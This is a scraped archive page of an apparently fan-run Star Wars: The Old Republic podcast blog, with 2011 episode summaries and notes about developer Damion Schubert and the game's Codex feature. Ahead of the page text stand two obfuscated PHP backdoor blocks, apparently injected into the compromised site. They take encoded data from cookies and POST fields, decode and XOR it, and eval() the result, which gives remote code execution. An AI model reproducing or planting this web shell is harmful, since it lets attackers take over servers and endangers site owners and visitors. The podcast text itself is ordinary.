$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> Damion Schubert – Page 2 – Corellian Run Radio
Sep 262011
 

Just in time for Santa

It’s the release date episode! We each recount our stories of where we were and how we found out, as people do for significant events such as the JFK assassination or the Space Shuttle tragedy. Wildly inappropriate.

More Show Notes and Comments after the jump. Continue reading »

Jul 112011
 

I Can Haz Day/Night?

Discuss this episode on the forums here.

Roxanne is sick this week, but we have JJ from TOROcast to fill the third seat and make sure we never go under an hour!  We’re feeling feisty this week and we have several lively debates on everything from how much you need to know about the game before the game, whether companions should be money-making machines, and whether day/night cycles are necessary in MMOs.

FACT OR FICTION: Can you pick out the confirmed fact from the tall tales? This week’s host challenge involves the beta testing invites. Continue reading »

Jun 272011
 

Dover from Darth Hater

Discuss this episode on the forums here.

We’ve been trying to get Dover on the show since we found out how fun he is in person at PAX East earlier this year.  The planets finally aligned and we met up to talk about SWTOR and how to handle people who annoy you.

FACT OR FICTION: Can you pick out the confirmed fact from the tall tales?  This week’s host challenge involves knowing your SWTOR biographies. Continue reading »

May 062011
 

Principal Lead Systems Designer Damion Schubert gives us more detail on the Codex, a game feature sure to appeal to the explorers and lorehounds of SWTOR.  He explains that the Codex was conceived, in part, to help players keep track of the details of all the story arcs and back stories in an easy-to-access format.  Knowing these details will enhance your gameplay experience, which is heavily story-based.  Here are some highlights from Damion’s Developer Blog:

  • The SWTOR codex was modeled on the ones found in Mass Effect and Dragon Age.
  • Collecting codex entries appeals to exploration gamers.  The codex is designed to provide an explorer mini-game with meaningful reward. Continue reading »
Apr 282011
 

Lobby, BioWare

Monday arrived, gray and drizzly, but that did little to dampen our excitement over what the day had in store.  After breakfast Carla and I gathered our things and left the hotel for BioWare.

But first, a brief recap of three conversations I had with Carla: Continue reading »

Rss Feed Tweeter button Facebook button Technorati button Reddit button Linkedin button Webonews button Delicious button Digg button Flickr button Stumbleupon button Newsvine button Youtube button
Copy Protected by Tech Tips's CopyProtect Wordpress Blogs.